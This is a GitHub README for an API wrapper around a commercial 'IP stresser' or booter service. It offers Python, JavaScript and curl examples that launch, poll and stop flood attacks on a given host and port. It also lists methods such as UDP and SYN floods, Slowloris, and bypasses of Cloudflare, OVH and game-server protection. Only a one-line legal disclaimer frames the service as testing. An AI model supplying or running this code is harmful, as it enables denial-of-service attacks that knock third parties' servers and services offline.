Skip to content

DevAlexPro/mrstresser-api

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

1 Commit
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

MrStresser API

Website PyPI npm License

The official Python & JavaScript API wrapper for MrStresser.com β€” the #1 premium IP stresser and network stress testing platform.


πŸš€ Quick Start

Python

pip install mrstresser-api
from mrstresser import MrStresser

client = MrStresser(api_key="YOUR_API_KEY")

# Start a stress test
attack = client.attack.start(
    host="192.168.1.1",
    port=80,
    duration=60,
    method="UDP"
)
print(f"Attack started: {attack.id}")

# Check status
status = client.attack.status(attack.id)
print(f"Status: {status.state}")

# Stop the attack
client.attack.stop(attack.id)

JavaScript / Node.js

npm install mrstresser-api
const { MrStresser } = require('mrstresser-api');

const client = new MrStresser({ apiKey: 'YOUR_API_KEY' });

// Start attack
const attack = await client.attack.start({
  host: '192.168.1.1',
  port: 80,
  duration: 60,
  method: 'UDP'
});

console.log('Attack ID:', attack.id);

πŸ“– Full API Reference

Authentication

All API requests require your API key from mrstresser.com/dashboard.

GET https://api.mrstresser.com/v1/attack/start
Headers: X-API-Key: YOUR_API_KEY

Endpoints

Method Endpoint Description
GET /v1/attack/start Launch a new stress test
GET /v1/attack/stop Stop an active attack
GET /v1/attack/status Get attack status
GET /v1/attack/history Get attack history
GET /v1/methods List all attack methods
GET /v1/account/info Get account details
GET /v1/account/balance Get remaining seconds

Attack Methods

Method Layer Description
UDP L4 UDP flood attack
TCP L4 TCP SYN flood
HTTP L7 HTTP GET flood
HTTPS L7 HTTPS bypass flood
SLOWLORIS L7 Slow HTTP attack
BYPASS L7 Cloudflare bypass
OVH L4 OVH mitigation bypass
GAME L4 Game server bypass

🐍 Python SDK β€” Full Reference

from mrstresser import MrStresser

client = MrStresser(api_key="YOUR_API_KEY")

# ── Account ──────────────────────────────────
info = client.account.info()
print(info.username, info.plan, info.seconds_remaining)

# ── List methods ──────────────────────────────
methods = client.methods.list()
for m in methods:
    print(f"{m.name} | Layer {m.layer} | Max {m.max_duration}s")

# ── Start attack ──────────────────────────────
attack = client.attack.start(
    host="192.168.1.1",
    port=80,
    duration=120,
    method="HTTP",
    concurrents=3
)

# ── Poll until done ───────────────────────────
import time
while True:
    s = client.attack.status(attack.id)
    print(f"[{s.elapsed}s] State: {s.state} | PPS: {s.pps}")
    if s.state == "completed":
        break
    time.sleep(5)

# ── History ───────────────────────────────────
history = client.attack.history(limit=10)
for h in history:
    print(f"{h.host}:{h.port} | {h.method} | {h.status}")

🟨 JavaScript SDK β€” Full Reference

const { MrStresser } = require('mrstresser-api');

const client = new MrStresser({ apiKey: 'YOUR_API_KEY' });

// Account info
const info = await client.account.info();
console.log(info.username, info.plan);

// List methods
const methods = await client.methods.list();
methods.forEach(m => console.log(m.name, m.layer));

// Start attack
const attack = await client.attack.start({
  host: '192.168.1.1',
  port: 80,
  duration: 120,
  method: 'HTTP',
  concurrents: 3
});

// Stop
await client.attack.stop(attack.id);

// History
const history = await client.attack.history({ limit: 10 });

πŸ“¦ cURL Examples

# Start attack
curl -H "X-API-Key: YOUR_KEY" \
  "https://api.mrstresser.com/v1/attack/start?host=192.168.1.1&port=80&duration=60&method=UDP"

# Check status  
curl -H "X-API-Key: YOUR_KEY" \
  "https://api.mrstresser.com/v1/attack/status?id=ATTACK_ID"

# Get account info
curl -H "X-API-Key: YOUR_KEY" \
  "https://api.mrstresser.com/v1/account/info"

πŸ”— Links


⚠️ Legal: Only use against servers you own or have explicit permission to test. Unauthorized use is illegal.

mrstresser api | ip stresser api | booter api | ddos api | stress test api | layer4 api | layer7 api | network testing api | mrstresser.com

About

Official Python and JavaScript API wrapper for MrStresser.com - the number 1 premium IP stresser and network stress testing platform. Full REST API client with attack management, account info, and method listing.

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors